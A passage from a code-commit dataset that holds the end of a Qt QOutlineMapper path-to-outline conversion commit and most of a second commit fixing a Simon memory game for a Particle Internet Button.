beginOutline(path.fillRule());\n\n    for (int index=0; index<elmCount; ++index) {\n        const QPainterPath::Element &elm = path.elementAt(index);\n\n        switch (elm.type) {\n\n        case QPainterPath::MoveToElement:\n            if (index == elmCount - 1)\n                continue;\n            moveTo(elm);\n            break;\n\n        case QPainterPath::LineToElement:\n            lineTo(elm);\n            break;\n\n        case QPainterPath::CurveToElement:\n            curveTo(elm, path.elementAt(index + 1), path.elementAt(index + 2));\n            index += 2;\n            break;\n\n        default:\n            break; \/\/ This will never hit..\n        }\n    }\n\n    endOutline();\n    return outline();\n}\n\nQT_FT_Outline *QOutlineMapper::convertPath(const QVectorPath &path)\n{\n    int count = path.elementCount();\n\n#ifdef QT_DEBUG_CONVERT\n    printf(\"QOutlineMapper::convertPath(VP), size=%d\\n\", count);\n#endif\n    beginOutline(path.hasWindingFill() ? Qt::WindingFill : Qt::OddEvenFill);\n\n    if (path.elements()) {\n        \/\/ TODO: if we do closing of subpaths in convertElements instead we\n        \/\/ could avoid this loop\n        const QPainterPath::ElementType *elements = path.elements();\n        const QPointF *points = reinterpret_cast<const QPointF *>(path.points());\n\n        for (int index = 0; index < count; ++index) {\n            switch (elements[index]) {\n                case QPainterPath::MoveToElement:\n                    if (index == count - 1)\n                        continue;\n                    moveTo(points[index]);\n                    break;\n\n                case QPainterPath::LineToElement:\n                    lineTo(points[index]);\n                    break;\n\n                case QPainterPath::CurveToElement:\n                    curveTo(points[index], points[index+1], points[index+2]);\n                    index += 2;\n                    break;\n\n                default:\n                    break; \/\/ This will never hit..\n            }\n        }\n\n    } else {\n        \/\/ ### We can kill this copying and just use the buffer straight...\n\n        m_elements.resize(count);\n        memcpy(m_elements.data(), path.points(), count* sizeof(QPointF));\n\n        m_element_types.resize(0);\n    }\n\n    endOutline();\n    return outline();\n}\n\n\nvoid QOutlineMapper::endOutline()\n{\n    closeSubpath();\n\n    int element_count = m_elements.size();\n\n    if (element_count == 0) {\n        memset(&m_outline, 0, sizeof(m_outline));\n        return;\n    }\n\n    QPointF *elements;\n\n    \/\/ Transform the outline\n    if (m_txop == QTransform::TxNone) {\n        elements = m_elements.data();\n    } else {\n        if (m_txop == QTransform::TxTranslate) {\n            for (int i=0; i<m_elements.size(); ++i) {\n                const QPointF &e = m_elements.at(i);\n                m_elements_dev << QPointF(e.x() + m_dx, e.y() + m_dy);\n            }\n        } else if (m_txop == QTransform::TxScale) {\n            for (int i=0; i<m_elements.size(); ++i) {\n                const QPointF &e = m_elements.at(i);\n                m_elements_dev << QPointF(m_m11 * e.x() + m_dx, m_m22 * e.y() + m_dy);\n            }\n        } else if (m_txop < QTransform::TxProject) {\n            for (int i=0; i<m_elements.size(); ++i) {\n                const QPointF &e = m_elements.at(i);\n                m_elements_dev << QPointF(m_m11 * e.x() + m_m21 * e.y() + m_dx,\n                                          m_m22 * e.y() + m_m12 * e.x() + m_dy);\n            }\n        } else {\n            const QVectorPath vp((qreal *)m_elements.data(), m_elements.size(), m_element_types.data());\n            QPainterPath path = vp.convertToPainterPath();\n            path = QTransform(m_m11, m_m12, m_m13, m_m21, m_m22, m_m23, m_dx, m_dy, m_m33).map(path);\n            if (!(m_outline.flags & QT_FT_OUTLINE_EVEN_ODD_FILL))\n                path.setFillRule(Qt::WindingFill);\n            uint old_txop = m_txop;\n            m_txop = QTransform::TxNone;\n            if (path.isEmpty())\n                m_valid = false;\n            else\n                convertPath(path);\n            m_txop = old_txop;\n            return;\n        }\n        elements = m_elements_dev.data();\n    }\n\n    if (m_round_coords) {\n        \/\/ round coordinates to match outlines drawn with drawLine_midpoint_i\n        for (int i = 0; i < m_elements.size(); ++i)\n            elements[i] = QPointF(qFloor(elements[i].x() + aliasedCoordinateDelta),\n                                  qFloor(elements[i].y() + aliasedCoordinateDelta));\n    }\n\n    controlPointRect = boundingRect(elements, element_count);\n\n#ifdef QT_DEBUG_CONVERT\n    printf(\" - control point rect (%.2f, %.2f) %.2f x %.2f\\n\",\n           controlPointRect.x(), controlPointRect.y(),\n           controlPointRect.width(), controlPointRect.height());\n#endif\n\n\n    \/\/ Check for out of dev bounds...\n    const bool do_clip = (controlPointRect.left() < -QT_RASTER_COORD_LIMIT\n                          || controlPointRect.right() > QT_RASTER_COORD_LIMIT\n                          || controlPointRect.top() < -QT_RASTER_COORD_LIMIT\n                          || controlPointRect.bottom() > QT_RASTER_COORD_LIMIT);\n\n    if (do_clip) {\n        clipElements(elements, elementTypes(), element_count);\n    } else {\n        convertElements(elements, elementTypes(), element_count);\n    }\n}\n\nvoid QOutlineMapper::convertElements(const QPointF *elements,\n                                       const QPainterPath::ElementType *types,\n                                       int element_count)\n{\n\n    if (types) {\n        \/\/ Translate into FT coords\n        const QPointF *e = elements;\n        for (int i=0; i<element_count; ++i) {\n            switch (*types) {\n            case QPainterPath::MoveToElement:\n                {\n                    QT_FT_Vector pt_fixed = { qreal_to_fixed_26_6(e->x()),\n                                              qreal_to_fixed_26_6(e->y()) };\n                    if (i != 0)\n                        m_contours << m_points.size() - 1;\n                    m_points << pt_fixed;\n                    m_tags <<  QT_FT_CURVE_TAG_ON;\n                }\n                break;\n\n            case QPainterPath::LineToElement:\n                {\n                    QT_FT_Vector pt_fixed = { qreal_to_fixed_26_6(e->x()),\n                                              qreal_to_fixed_26_6(e->y()) };\n                    m_points << pt_fixed;\n                    m_tags << QT_FT_CURVE_TAG_ON;\n                }\n                break;\n\n            case QPainterPath::CurveToElement:\n                {\n                    QT_FT_Vector cp1_fixed = { qreal_to_fixed_26_6(e->x()),\n                                               qreal_to_fixed_26_6(e->y()) };\n                    ++e;\n                    QT_FT_Vector cp2_fixed = { qreal_to_fixed_26_6((e)->x()),\n                                               qreal_to_fixed_26_6((e)->y()) };\n                    ++e;\n                    QT_FT_Vector ep_fixed = { qreal_to_fixed_26_6((e)->x()),\n                                              qreal_to_fixed_26_6((e)->y()) };\n\n                    m_points << cp1_fixed << cp2_fixed << ep_fixed;\n                    m_tags << QT_FT_CURVE_TAG_CUBIC\n                           << QT_FT_CURVE_TAG_CUBIC\n                           << QT_FT_CURVE_TAG_ON;\n\n                    types += 2;\n                    i += 2;\n                }\n                break;\n            default:\n                break;\n            }\n            ++types;\n            ++e;\n        }\n    } else {\n        \/\/ Plain polygon...\n        const QPointF *last = elements + element_count;\n        const QPointF *e = elements;\n        while (e < last) {\n            QT_FT_Vector pt_fixed = { qreal_to_fixed_26_6(e->x()),\n                                      qreal_to_fixed_26_6(e->y()) };\n            m_points << pt_fixed;\n            m_tags << QT_FT_CURVE_TAG_ON;\n            ++e;\n        }\n    }\n\n    \/\/ close the very last subpath\n    m_contours << m_points.size() - 1;\n\n    m_outline.n_contours = m_contours.size();\n    m_outline.n_points = m_points.size();\n\n    m_outline.points = m_points.data();\n    m_outline.tags = m_tags.data();\n    m_outline.contours = m_contours.data();\n\n#ifdef QT_DEBUG_CONVERT\n    printf(\"QOutlineMapper::endOutline\\n\");\n\n    printf(\" - contours: %d\\n\", m_outline.n_contours);\n    for (int i=0; i<m_outline.n_contours; ++i) {\n        printf(\"   - %d\\n\", m_outline.contours[i]);\n    }\n\n    printf(\" - points: %d\\n\", m_outline.n_points);\n    for (int i=0; i<m_outline.n_points; ++i) {\n        printf(\"   - %d -- %.2f, %.2f, (%d, %d)\\n\", i,\n               (double) (m_outline.points[i].x \/ 64.0),\n               (double) (m_outline.points[i].y \/ 64.0),\n               (int) m_outline.points[i].x, (int) m_outline.points[i].y);\n    }\n#endif\n}\n\nvoid QOutlineMapper::clipElements(const QPointF *elements,\n                                    const QPainterPath::ElementType *types,\n                                    int element_count)\n{\n    \/\/ We could save a bit of time by actually implementing them fully\n    \/\/ instead of going through convenience functionallity, but since\n    \/\/ this part of code hardly every used, it shouldn't matter.\n\n    QPainterPath path;\n    if (types) {\n        for (int i=0; i<element_count; ++i) {\n            switch (types[i]) {\n            case QPainterPath::MoveToElement:\n                path.moveTo(elements[i]);\n                break;\n\n            case QPainterPath::LineToElement:\n                path.lineTo(elements[i]);\n                break;\n\n            case QPainterPath::CurveToElement:\n                path.cubicTo(elements[i], elements[i+1], elements[i+2]);\n                i += 2;\n                break;\n            default:\n                break;\n            }\n        }\n    } else {\n        path.moveTo(elements[0]);\n        for (int i=1; i<element_count; ++i)\n            path.lineTo(elements[i]);\n    }\n\n    QPainterPath clipPath;\n    clipPath.addRect(m_clip_rect);\n    QPainterPath clippedPath = path.intersected(clipPath);\n    uint old_txop = m_txop;\n    m_txop = QTransform::TxNone;\n    if (clippedPath.isEmpty())\n        m_valid = false;\n    else\n        convertPath(clippedPath);\n    m_txop = old_txop;\n}\n\nQT_END_NAMESPACE\n<commit_msg>Fix compilation on OS X.<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the QtGui module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain\n** additional rights.  These rights are described in the Nokia Qt LGPL\n** Exception version 1.1, included in the file LGPL_EXCEPTION.txt in this\n** package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"qoutlinemapper_p.h\"\n#include <private\/qpainterpath_p.h>\n#include \"qmath.h\"\n\n#include <stdlib.h>\n\nQT_BEGIN_NAMESPACE\n\nstatic const qreal aliasedCoordinateDelta = 0.5 - 0.015625;\n\n#define qreal_to_fixed_26_6(f) (int(f * 64))\n\n\n\n\nstatic const QRectF boundingRect(const QPointF *points, int pointCount)\n{\n    const QPointF *e = points;\n    const QPointF *last = points + pointCount;\n    qreal minx, maxx, miny, maxy;\n    minx = maxx = e->x();\n    miny = maxy = e->y();\n    while (++e < last) {\n        if (e->x() < minx)\n            minx = e->x();\n        else if (e->x() > maxx)\n            maxx = e->x();\n        if (e->y() < miny)\n            miny = e->y();\n        else if (e->y() > maxy)\n            maxy = e->y();\n    }\n    return QRectF(QPointF(minx, miny), QPointF(maxx, maxy));\n}\n\n\nQT_FT_Outline *QOutlineMapper::convertPath(const QPainterPath &path)\n{\n    Q_ASSERT(!path.isEmpty());\n    int elmCount = path.elementCount();\n#ifdef QT_DEBUG_CONVERT\n    printf(\"QOutlineMapper::convertPath(), size=%d\\n\", elmCount);\n#endif\n    beginOutline(path.fillRule());\n\n    for (int index=0; index<elmCount; ++index) {\n        const QPainterPath::Element &elm = path.elementAt(index);\n\n        switch (elm.type) {\n\n        case QPainterPath::MoveToElement:\n            if (index == elmCount - 1)\n                continue;\n            moveTo(elm);\n            break;\n\n        case QPainterPath::LineToElement:\n            lineTo(elm);\n            break;\n\n        case QPainterPath::CurveToElement:\n            curveTo(elm, path.elementAt(index + 1), path.elementAt(index + 2));\n            index += 2;\n            break;\n\n        default:\n            break; \/\/ This will never hit..\n        }\n    }\n\n    endOutline();\n    return outline();\n}\n\nQT_FT_Outline *QOutlineMapper::convertPath(const QVectorPath &path)\n{\n    int count = path.elementCount();\n\n#ifdef QT_DEBUG_CONVERT\n    printf(\"QOutlineMapper::convertPath(VP), size=%d\\n\", count);\n#endif\n    beginOutline(path.hasWindingFill() ? Qt::WindingFill : Qt::OddEvenFill);\n\n    if (path.elements()) {\n        \/\/ TODO: if we do closing of subpaths in convertElements instead we\n        \/\/ could avoid this loop\n        const QPainterPath::ElementType *elements = path.elements();\n        const QPointF *points = reinterpret_cast<const QPointF *>(path.points());\n\n        for (int index = 0; index < count; ++index) {\n            switch (elements[index]) {\n                case QPainterPath::MoveToElement:\n                    if (index == count - 1)\n                        continue;\n                    moveTo(points[index]);\n                    break;\n\n                case QPainterPath::LineToElement:\n                    lineTo(points[index]);\n                    break;\n\n                case QPainterPath::CurveToElement:\n                    curveTo(points[index], points[index+1], points[index+2]);\n                    index += 2;\n                    break;\n\n                default:\n                    break; \/\/ This will never hit..\n            }\n        }\n\n    } else {\n        \/\/ ### We can kill this copying and just use the buffer straight...\n\n        m_elements.resize(count);\n        memcpy(m_elements.data(), path.points(), count* sizeof(QPointF));\n\n        m_element_types.resize(0);\n    }\n\n    endOutline();\n    return outline();\n}\n\n\nvoid QOutlineMapper::endOutline()\n{\n    closeSubpath();\n\n    int element_count = m_elements.size();\n\n    if (element_count == 0) {\n        memset(&m_outline, 0, sizeof(m_outline));\n        return;\n    }\n\n    QPointF *elements;\n\n    \/\/ Transform the outline\n    if (m_txop == QTransform::TxNone) {\n        elements = m_elements.data();\n    } else {\n        if (m_txop == QTransform::TxTranslate) {\n            for (int i=0; i<m_elements.size(); ++i) {\n                const QPointF &e = m_elements.at(i);\n                m_elements_dev << QPointF(e.x() + m_dx, e.y() + m_dy);\n            }\n        } else if (m_txop == QTransform::TxScale) {\n            for (int i=0; i<m_elements.size(); ++i) {\n                const QPointF &e = m_elements.at(i);\n                m_elements_dev << QPointF(m_m11 * e.x() + m_dx, m_m22 * e.y() + m_dy);\n            }\n        } else if (m_txop < QTransform::TxProject) {\n            for (int i=0; i<m_elements.size(); ++i) {\n                const QPointF &e = m_elements.at(i);\n                m_elements_dev << QPointF(m_m11 * e.x() + m_m21 * e.y() + m_dx,\n                                          m_m22 * e.y() + m_m12 * e.x() + m_dy);\n            }\n        } else {\n            const QVectorPath vp((qreal *)m_elements.data(), m_elements.size(), m_element_types.data());\n            QPainterPath path = vp.convertToPainterPath();\n            path = QTransform(m_m11, m_m12, m_m13, m_m21, m_m22, m_m23, m_dx, m_dy, m_m33).map(path);\n            if (!(m_outline.flags & QT_FT_OUTLINE_EVEN_ODD_FILL))\n                path.setFillRule(Qt::WindingFill);\n            uint old_txop = m_txop;\n            m_txop = QTransform::TxNone;\n            if (path.isEmpty())\n                m_valid = false;\n            else\n                convertPath(path);\n            m_txop = old_txop;\n            return;\n        }\n        elements = m_elements_dev.data();\n    }\n\n    if (m_round_coords) {\n        \/\/ round coordinates to match outlines drawn with drawLine_midpoint_i\n        for (int i = 0; i < m_elements.size(); ++i)\n            elements[i] = QPointF(qFloor(elements[i].x() + aliasedCoordinateDelta),\n                                  qFloor(elements[i].y() + aliasedCoordinateDelta));\n    }\n\n    controlPointRect = boundingRect(elements, element_count);\n\n#ifdef QT_DEBUG_CONVERT\n    printf(\" - control point rect (%.2f, %.2f) %.2f x %.2f\\n\",\n           controlPointRect.x(), controlPointRect.y(),\n           controlPointRect.width(), controlPointRect.height());\n#endif\n\n\n    \/\/ Check for out of dev bounds...\n    const bool do_clip = (controlPointRect.left() < -QT_RASTER_COORD_LIMIT\n                          || controlPointRect.right() > QT_RASTER_COORD_LIMIT\n                          || controlPointRect.top() < -QT_RASTER_COORD_LIMIT\n                          || controlPointRect.bottom() > QT_RASTER_COORD_LIMIT);\n\n    if (do_clip) {\n        clipElements(elements, elementTypes(), element_count);\n    } else {\n        convertElements(elements, elementTypes(), element_count);\n    }\n}\n\nvoid QOutlineMapper::convertElements(const QPointF *elements,\n                                       const QPainterPath::ElementType *types,\n                                       int element_count)\n{\n\n    if (types) {\n        \/\/ Translate into FT coords\n        const QPointF *e = elements;\n        for (int i=0; i<element_count; ++i) {\n            switch (*types) {\n            case QPainterPath::MoveToElement:\n                {\n                    QT_FT_Vector pt_fixed = { qreal_to_fixed_26_6(e->x()),\n                                              qreal_to_fixed_26_6(e->y()) };\n                    if (i != 0)\n                        m_contours << m_points.size() - 1;\n                    m_points << pt_fixed;\n                    m_tags <<  QT_FT_CURVE_TAG_ON;\n                }\n                break;\n\n            case QPainterPath::LineToElement:\n                {\n                    QT_FT_Vector pt_fixed = { qreal_to_fixed_26_6(e->x()),\n                                              qreal_to_fixed_26_6(e->y()) };\n                    m_points << pt_fixed;\n                    m_tags << QT_FT_CURVE_TAG_ON;\n                }\n                break;\n\n            case QPainterPath::CurveToElement:\n                {\n                    QT_FT_Vector cp1_fixed = { qreal_to_fixed_26_6(e->x()),\n                                               qreal_to_fixed_26_6(e->y()) };\n                    ++e;\n                    QT_FT_Vector cp2_fixed = { qreal_to_fixed_26_6((e)->x()),\n                                               qreal_to_fixed_26_6((e)->y()) };\n                    ++e;\n                    QT_FT_Vector ep_fixed = { qreal_to_fixed_26_6((e)->x()),\n                                              qreal_to_fixed_26_6((e)->y()) };\n\n                    m_points << cp1_fixed << cp2_fixed << ep_fixed;\n                    m_tags << QT_FT_CURVE_TAG_CUBIC\n                           << QT_FT_CURVE_TAG_CUBIC\n                           << QT_FT_CURVE_TAG_ON;\n\n                    types += 2;\n                    i += 2;\n                }\n                break;\n            default:\n                break;\n            }\n            ++types;\n            ++e;\n        }\n    } else {\n        \/\/ Plain polygon...\n        const QPointF *last = elements + element_count;\n        const QPointF *e = elements;\n        while (e < last) {\n            QT_FT_Vector pt_fixed = { qreal_to_fixed_26_6(e->x()),\n                                      qreal_to_fixed_26_6(e->y()) };\n            m_points << pt_fixed;\n            m_tags << QT_FT_CURVE_TAG_ON;\n            ++e;\n        }\n    }\n\n    \/\/ close the very last subpath\n    m_contours << m_points.size() - 1;\n\n    m_outline.n_contours = m_contours.size();\n    m_outline.n_points = m_points.size();\n\n    m_outline.points = m_points.data();\n    m_outline.tags = m_tags.data();\n    m_outline.contours = m_contours.data();\n\n#ifdef QT_DEBUG_CONVERT\n    printf(\"QOutlineMapper::endOutline\\n\");\n\n    printf(\" - contours: %d\\n\", m_outline.n_contours);\n    for (int i=0; i<m_outline.n_contours; ++i) {\n        printf(\"   - %d\\n\", m_outline.contours[i]);\n    }\n\n    printf(\" - points: %d\\n\", m_outline.n_points);\n    for (int i=0; i<m_outline.n_points; ++i) {\n        printf(\"   - %d -- %.2f, %.2f, (%d, %d)\\n\", i,\n               (double) (m_outline.points[i].x \/ 64.0),\n               (double) (m_outline.points[i].y \/ 64.0),\n               (int) m_outline.points[i].x, (int) m_outline.points[i].y);\n    }\n#endif\n}\n\nvoid QOutlineMapper::clipElements(const QPointF *elements,\n                                    const QPainterPath::ElementType *types,\n                                    int element_count)\n{\n    \/\/ We could save a bit of time by actually implementing them fully\n    \/\/ instead of going through convenience functionallity, but since\n    \/\/ this part of code hardly every used, it shouldn't matter.\n\n    QPainterPath path;\n    if (types) {\n        for (int i=0; i<element_count; ++i) {\n            switch (types[i]) {\n            case QPainterPath::MoveToElement:\n                path.moveTo(elements[i]);\n                break;\n\n            case QPainterPath::LineToElement:\n                path.lineTo(elements[i]);\n                break;\n\n            case QPainterPath::CurveToElement:\n                path.cubicTo(elements[i], elements[i+1], elements[i+2]);\n                i += 2;\n                break;\n            default:\n                break;\n            }\n        }\n    } else {\n        path.moveTo(elements[0]);\n        for (int i=1; i<element_count; ++i)\n            path.lineTo(elements[i]);\n    }\n\n    QPainterPath clipPath;\n    clipPath.addRect(m_clip_rect);\n    QPainterPath clippedPath = path.intersected(clipPath);\n    uint old_txop = m_txop;\n    m_txop = QTransform::TxNone;\n    if (clippedPath.isEmpty())\n        m_valid = false;\n    else\n        convertPath(clippedPath);\n    m_txop = old_txop;\n}\n\nQT_END_NAMESPACE\n<|endoftext|>"}
{"text":"<commit_before>#include \"Simon.h\"\n \nSimon::Simon(){\n\n}\n\nvoid Simon::setup() {\n    b = InternetButton();\n    solution = new Position[0];\n    solutionSize = 0;\n\n    state = Welcome;\n\n    difficulty = 3;\n    successMax = 0;\n    successCount = 0;\n    \n    \n    RGB.control(true);\n    this.b.begin();\n    this.b.allLedsOff();\n}\n\nvoid Simon::loop() {\n    switch (state) { \n        case Welcome: \n            welcome();\n            break;\n        case Ready: \n            ready();\n            break;\n        case Showing:\n            show();\n            break;\n        case ListeningDown:\n            listenDown();\n            break;\n        case ListeningUp:\n            listenUp();\n            break;\n        case CompleteSuccess:\n            celebrate();\n            break;\n        case Failed:\n            fail();\n            break;\n    }\n}\n\nvoid Simon::welcome() {\n    b.playSong(\"C4,8,E4,8,G4,8,C5,8,G5,4\");\n    b.allLedsOn(0,20,20); \n    delay(500);\n    b.allLedsOff();\n    \n    flash(Top, true, true);\n    flash(Right, true, true);\n    flash(Bottom, true, true);\n    flash(Left, true, true);\n    state = Ready;\n}\n\nvoid Simon::demo() {\n      b.ledOn(11, 25, 0, 0);\n            b.ledOn(1, 25, 0, 0);\n\n            b.ledOn(2, 0, 0, 25);\n            b.ledOn(3, 0, 0, 25);\n            b.ledOn(4, 0, 0, 25);\n\n            b.ledOn(5, 12, 12, 0);\n            b.ledOn(6, 12, 12, 0);\n            b.ledOn(7, 12, 12, 0);\n\n            b.ledOn(8, 0, 25, 0);\n            b.ledOn(9, 0, 25, 0);\n            b.ledOn(10, 0, 25, 0);\n    \n    delay(10000);\n}\n\nvoid Simon::ready() {\n    Position read = anyButtonOn();\n    \n    switch (read) {\n        case None:\n            return;\n        case Top:\n            difficulty = 4;\n            break;\n        case Right:\n            difficulty = 9;\n            break;\n        case Bottom:\n            difficulty = 14;\n            break;\n        case Left:\n            difficulty = 29;\n            break;\n    }\n    celebrate();\n}\n\nvoid Simon::setColor() {\n    if (difficulty < 10) {\n        RGB.color(255, 0, 0);\n        return;    \n    }\n    if (difficulty < 15) { \n        RGB.color(120, 120, 0);\n        return;\n    }\n    if (difficulty < 30) { \n        RGB.color(0, 255, 0);\n        return;\n    }\n    \n    RGB.color(0, 0, 255);\n}\n\nvoid Simon::start() {\n    \/\/b.allLedsOn(0,20,20); \n    \/\/delay(500);\n    \/\/b.allLedsOff();\n    \n    successMax = 0;\n        \n    generate(difficulty);\n    setColor();\n    \n    state = Showing;\n}\n\nvoid Simon::generate(int size) {\n    solutionSize = size;\n    solution = new Position[solutionSize];\n    \n    for (int i = 0; i < size; i++) {\n        while(true) {\n            Position next = (Position) random(4);\n            \n            if (i-2 >= 0 && next == solution[i-1] && next == solution[i-2]) {\n                continue;\n            }\n            \n            solution[i] = next;\n            break;\n        }\n    }\n}\n\nvoid Simon::show() {\n    for (int i = 0; i < successMax + 1; i++) {\n        Position next = solution[i];\n        flash(next, true, true);\n        delay(100);\n    }\n    \n    successCount = 0;\n    state = ListeningDown;\n}\n\nvoid Simon::listenDown() {\n    Position read = anyButtonOn();\n    if (read == None) {\n        return;\n    }\n    \n    if (solution[successCount] == read) {\n        flash(read, false, true);\n        state = ListeningUp;\n        return;\n    }\n\n    state = Failed;\n}\n\n\nvoid Simon::listenUp() {\n    Position read = anyButtonOn();\n    \n    if (read == None) {\n        unflash();\n        \n        successCount++;\n        \n        if (successCount > successMax) {\n                if (successCount == solutionSize) {\n                    state = CompleteSuccess;\n                    return;\n                }\n    \n            successMax++;\n            \n            delay(1000);\n            state = Showing;\n            return;\n        }\n        \n      \n        state = ListeningDown;\n        return;\n    }\n    \n     if (solution[successCount] != read) { \n         state = Failed;\n         return;\n     }\n}\n\nPosition Simon::anyButtonOn() {\n    if (b.buttonOn(1)) {\n        return Top; \n    }\n    if (b.buttonOn(2)) {\n        return Right; \n    }\n    if (b.buttonOn(3)) {\n        return Bottom; \n    }\n    if (b.buttonOn(4)) {\n        return Left; \n    }\n    return None;\n}\n\nvoid Simon::celebrate() {\n    flash(Top, false, false);\n    flash(Right, false, false);\n    flash(Bottom, false, false);\n    flash(Left, false, false);\n    b.playSong(\"C4,8,E4,8,G4,8,C5,8,G5,4\");\n    \n    \/\/b.allLedsOn(0, 255, 0);\n    delay(300);\n    b.allLedsOff();\n    \n    delay(500);\n    difficulty++;\n    start();\n}\n\n\n\nvoid Simon::flash(Position p, bool timed, bool sound) {\n    switch (p) {\n        case Top:\n            b.ledOn(11, 255, 0, 0);\n            b.ledOn(1, 255, 0, 0);\n            if (sound) { b.playNote(\"C4\",4); }\n            break;\n        case Right:\n            b.ledOn(2, 0, 0, 255);\n            b.ledOn(3, 0, 0, 255);\n            b.ledOn(4, 0, 0, 255);\n            if (sound) { b.playNote(\"E4\",4); }\n            break;\n        case Bottom:\n            b.ledOn(5, 120, 120, 0);\n            b.ledOn(6, 120, 120, 0);\n            b.ledOn(7, 120, 120, 0);\n            if (sound) { b.playNote(\"G4\",4); }\n            break;\n        case Left:\n            b.ledOn(8, 0, 255, 0);\n            b.ledOn(9, 0, 255, 0);\n            b.ledOn(10, 0, 255, 0);\n            if (sound) { b.playNote(\"C5\",4); }\n            break;\n        case None: \n            delay(100);\n            return;\n    }\n    if (timed) {\n        b.allLedsOff();\n    }\n}\n\nvoid Simon::unflash() {\n    \/\/ TODO: stop sound\n    b.allLedsOff();\n}\n\nvoid Simon::fail() {\n    flash(solution[successCount], false, false);\n    b.playNote(\"C2\",1);\n    \n    for( int a = 0; a < 3; a = a + 1 )\n    {\n        \n        b.allLedsOn(255,0,0); \n        RGB.brightness(255);\n        delay(500);\n        b.allLedsOff();\n        RGB.brightness(1);\n        delay(500);\n    }\n   \n    RGB.color(0, 0, 0);\n    RGB.brightness(255);\n    state = Welcome;\n}\n\n    \n<commit_msg>Update Simon.cpp<commit_after>#include \"Simon.h\"\n \nSimon::Simon(){\n\n}\n\nvoid Simon::setup() {\n    b = InternetButton();\n    solution = new Position[0];\n    solutionSize = 0;\n\n    state = Welcome;\n\n    difficulty = 3;\n    successMax = 0;\n    successCount = 0;\n    \n    \n    RGB.control(true);\n    b.begin();\n    b.allLedsOff();\n}\n\nvoid Simon::loop() {\n    switch (state) { \n        case Welcome: \n            welcome();\n            break;\n        case Ready: \n            ready();\n            break;\n        case Showing:\n            show();\n            break;\n        case ListeningDown:\n            listenDown();\n            break;\n        case ListeningUp:\n            listenUp();\n            break;\n        case CompleteSuccess:\n            celebrate();\n            break;\n        case Failed:\n            fail();\n            break;\n    }\n}\n\nvoid Simon::welcome() {\n    b.playSong(\"C4,8,E4,8,G4,8,C5,8,G5,4\");\n    b.allLedsOn(0,20,20); \n    delay(500);\n    b.allLedsOff();\n    \n    flash(Top, true, true);\n    flash(Right, true, true);\n    flash(Bottom, true, true);\n    flash(Left, true, true);\n    state = Ready;\n}\n\nvoid Simon::demo() {\n      b.ledOn(11, 25, 0, 0);\n            b.ledOn(1, 25, 0, 0);\n\n            b.ledOn(2, 0, 0, 25);\n            b.ledOn(3, 0, 0, 25);\n            b.ledOn(4, 0, 0, 25);\n\n            b.ledOn(5, 12, 12, 0);\n            b.ledOn(6, 12, 12, 0);\n            b.ledOn(7, 12, 12, 0);\n\n            b.ledOn(8, 0, 25, 0);\n            b.ledOn(9, 0, 25, 0);\n            b.ledOn(10, 0, 25, 0);\n    \n    delay(10000);\n}\n\nvoid Simon::ready() {\n    Position read = anyButtonOn();\n    \n    switch (read) {\n        case None:\n            return;\n        case Top:\n            difficulty = 4;\n            break;\n        case Right:\n            difficulty = 9;\n            break;\n        case Bottom:\n            difficulty = 14;\n            break;\n        case Left:\n            difficulty = 29;\n            break;\n    }\n    celebrate();\n}\n\nvoid Simon::setColor() {\n    if (difficulty < 10) {\n        RGB.color(255, 0, 0);\n        return;    \n    }\n    if (difficulty < 15) { \n        RGB.color(120, 120, 0);\n        return;\n    }\n    if (difficulty < 30) { \n        RGB.color(0, 255, 0);\n        return;\n    }\n    \n    RGB.color(0, 0, 255);\n}\n\nvoid Simon::start() {\n    \/\/b.allLedsOn(0,20,20); \n    \/\/delay(500);\n    \/\/b.allLedsOff();\n    \n    successMax = 0;\n        \n    generate(difficulty);\n    setColor();\n    \n    state = Showing;\n}\n\nvoid Simon::generate(int size) {\n    solutionSize = size;\n    solution = new Position[solutionSize];\n    \n    for (int i = 0; i < size; i++) {\n        while(true) {\n            Position next = (Position) random(4);\n            \n            if (i-2 >= 0 && next == solution[i-1] && next == solution[i-2]) {\n                continue;\n            }\n            \n            solution[i] = next;\n            break;\n        }\n    }\n}\n\nvoid Simon::show() {\n    for (int i = 0; i < successMax + 1; i++) {\n        Position next = solution[i];\n        flash(next, true, true);\n        delay(100);\n    }\n    \n    successCount = 0;\n    state = ListeningDown;\n}\n\nvoid Simon::listenDown() {\n    Position read = anyButtonOn();\n    if (read == None) {\n        return;\n    }\n    \n    if (solution[successCount] == read) {\n        flash(read, false, true);\n        state = ListeningUp;\n        return;\n    }\n\n    state = Failed;\n}\n\n\nvoid Simon::listenUp() {\n    Position read = anyButtonOn();\n    \n    if (read == None) {\n        unflash();\n        \n        successCount++;\n        \n        if (successCount > successMax) {\n                if (successCount == solutionSize) {\n                    state = CompleteSuccess;\n                    return;\n                }\n    \n            successMax++;\n            \n            delay(1000);\n            state = Showing;\n            return;\n        }\n        \n      \n        state = ListeningDown;\n        return;\n    }\n    \n     if (solution[successCount] != read) { \n         state = Failed;\n         return;\n     }\n}\n\nPosition Simon::anyButtonOn() {\n    if (b.buttonOn(1)) {\n        return Top; \n    }\n    if (b.buttonOn(2)) {\n        return Right; \n    }\n    if (b.buttonOn(3)) {\n        return Bottom; \n    }\n    if (b.buttonOn(4)) {\n        return Left; \n    }\n    return None;\n}\n\nvoid Simon::celebrate() {\n    flash(Top, false, false);\n    flash(Right, false, false);\n    flash(Bottom, false, false);\n    flash(Left, false, false);\n    b.playSong(\"C4,8,E4,8,G4,8,C5,8,G5,4\");\n    \n    \/\/b.allLedsOn(0, 255, 0);\n    delay(300);\n    b.allLedsOff();\n    \n    delay(500);\n    difficulty++;\n    start();\n}\n\n\n\nvoid Simon::flash(Position p, bool 